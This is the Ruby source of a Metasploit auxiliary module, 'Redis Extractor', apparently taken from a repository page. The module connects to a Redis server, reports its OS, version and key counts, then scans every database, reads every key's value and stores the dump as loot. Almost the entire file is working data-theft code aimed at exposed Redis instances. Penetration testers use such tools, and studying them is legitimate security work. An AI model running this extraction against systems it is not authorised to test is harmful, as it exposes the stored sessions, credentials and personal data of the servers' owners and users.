215 lines
6.1 KiB
Ruby
215 lines
6.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Auxiliary::Redis
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Redis Extractor',
|
|
'Description' => %q{
|
|
This module connects to a Redis instance and retrieves keys and data stored.
|
|
},
|
|
'Author' => ['Geoff Rainville noncenz[at]ultibits.com'],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [['URL', 'https://redis.io/topics/protocol']],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [],
|
|
'Reliability' => []
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptInt.new('LIMIT_COUNT', [false, 'Stop after retrieving this many entries, per database', nil])
|
|
]
|
|
)
|
|
end
|
|
|
|
MIN_REDIS_VERSION = '2.8.0'.freeze
|
|
|
|
# Recurse to assemble the full list of keys
|
|
def scan(offset)
|
|
response = redis_command('scan', offset)
|
|
parsed = parse_redis_response(response)
|
|
raise 'Unexpected RESP response length' unless parsed.length == 2
|
|
|
|
new_offset = parsed[0] # cursor position for next iteration or zero if we are done
|
|
keys = parsed[1]
|
|
results = []
|
|
keys.each do |key|
|
|
value = value_for_key(key)
|
|
if value
|
|
results.push([key, value])
|
|
end
|
|
end
|
|
[new_offset, results]
|
|
end
|
|
|
|
def value_for_key(key)
|
|
key_type = redis_command('TYPE', key)
|
|
return unless key_type
|
|
|
|
key_type = parse_redis_response(key_type)
|
|
case key_type
|
|
when 'string'
|
|
string_content = redis_command('get', key)
|
|
return unless string_content
|
|
|
|
return parse_redis_response(string_content)
|
|
when 'list'
|
|
list_content = redis_command('LRANGE', key, '0', '-1')
|
|
return unless list_content
|
|
|
|
return parse_redis_response(list_content)
|
|
when 'set'
|
|
set_content = redis_command('SMEMBERS', key)
|
|
return unless set_content
|
|
|
|
return parse_redis_response(set_content)
|
|
when 'zset'
|
|
set_content = redis_command('ZRANGE', key, '0', '-1')
|
|
return unless set_content
|
|
|
|
return parse_redis_response(set_content)
|
|
when 'hash'
|
|
hash_content = parse_redis_response(redis_command('HGETALL', key))
|
|
return unless hash_content
|
|
|
|
result = {}
|
|
(0..hash_content.length - 1).step(2) do |x|
|
|
result[hash_content[x]] = hash_content[x + 1]
|
|
end
|
|
return result
|
|
when 'none'
|
|
# May have been deleted in the interim
|
|
return nil
|
|
else
|
|
return 'unknown key type ' + key_type
|
|
end
|
|
end
|
|
|
|
# Connect to Redis and ensure compatibility.
|
|
def redis_connect
|
|
connect
|
|
# NOTE: Full INFO payload fails occasionally. Using server filter until Redis library can be fixed
|
|
if (info_data = redis_command('INFO', 'server')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
|
|
print_good("Connected to Redis version #{redis_version}")
|
|
end
|
|
|
|
# Some connection attempts such as incorrect password set fail silently in the Redis library.
|
|
if !info_data
|
|
print_error('Unable to connect to Redis')
|
|
print_error('Set verbose true to troubleshoot') if !datastore['VERBOSE']
|
|
return
|
|
end
|
|
|
|
# Ensure version compatibility
|
|
if (Rex::Version.new(redis_version) < Rex::Version.new(MIN_REDIS_VERSION))
|
|
print_status("Module supports Redis #{MIN_REDIS_VERSION} or higher.")
|
|
return
|
|
end
|
|
|
|
# Connection was successful
|
|
return info_data
|
|
rescue Msf::Auxiliary::Failed => e
|
|
# This error trips when auth is required but password not set
|
|
print_error('Unable to connect to Redis: ' + e.message)
|
|
return
|
|
rescue Rex::ConnectionTimeout
|
|
print_error('Timed out trying to connect to Redis')
|
|
return
|
|
rescue StandardError
|
|
print_error('Unknown error trying to connect to Redis')
|
|
return
|
|
end
|
|
|
|
def check_host(_ip)
|
|
info_data = redis_connect
|
|
if info_data
|
|
if /os:(?<os_ver>.*)\r/ =~ info_data
|
|
os_ver = os_ver.strip
|
|
print_status("OS is #{os_ver} ")
|
|
end
|
|
|
|
if /keys=(?<keys>\S+),expires=/ =~ info_data
|
|
print_status("Redis reports #{keys} keys stored")
|
|
end
|
|
|
|
if /used_memory_peak_human:(?<bytes>.*)\r/ =~ info_data
|
|
bytes = bytes.strip
|
|
print_status("#{bytes.chomp} bytes stored")
|
|
end
|
|
end
|
|
disconnect
|
|
return info_data ? Msf::Exploit::CheckCode::Appears : Msf::Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
def get_keyspace
|
|
ks = redis_command('INFO', 'keyspace')
|
|
ks = parse_redis_response(ks)
|
|
ks = ks.split("\r\n")
|
|
result = []
|
|
ks.each do |k|
|
|
if /db(?<db>\S+):/ =~ k && /keys=(?<keys>\S+),expires/ =~ k
|
|
result.append([db, keys])
|
|
end
|
|
end
|
|
return result
|
|
end
|
|
|
|
def run_host(_ip)
|
|
if !redis_connect
|
|
disconnect
|
|
return
|
|
end
|
|
|
|
keyspace = get_keyspace
|
|
max_results = datastore['LIMIT_COUNT']
|
|
keyspace.each do |space|
|
|
if max_results
|
|
amount = "#{[space[1].to_i, max_results].min} of #{space[1]}"
|
|
else
|
|
amount = (space[1]).to_s
|
|
end
|
|
print_status("Extracting about #{amount} keys from database #{space[0]}")
|
|
redis_command('SELECT', space[0])
|
|
new_offset = '0'
|
|
all_results = []
|
|
loop do
|
|
new_offset, results = scan(new_offset)
|
|
all_results.concat(results)
|
|
break if max_results && all_results.count >= max_results
|
|
break if new_offset == '0'
|
|
end
|
|
|
|
if all_results.empty?
|
|
print_status('No keys returned')
|
|
next
|
|
end
|
|
|
|
# Report data in terminal
|
|
result_table = Rex::Text::Table.new(
|
|
'Header' => "Data from #{peer} database #{space[0]}",
|
|
'Indent' => 1,
|
|
'Columns' => [ 'Key', 'Value' ]
|
|
)
|
|
all_results.each { |pair| result_table << pair }
|
|
print_line
|
|
print_line(result_table.to_s)
|
|
|
|
# Store data as loot
|
|
csv = []
|
|
all_results.each { |pair| csv << pair.to_csv }
|
|
path = store_loot("redis.dump_db#{space[0]}", 'text/plain', rhost, csv.join, 'redis.txt', 'Redis extractor')
|
|
print_good("Redis data stored at #{path}")
|
|
end
|
|
disconnect
|
|
end
|
|
end
|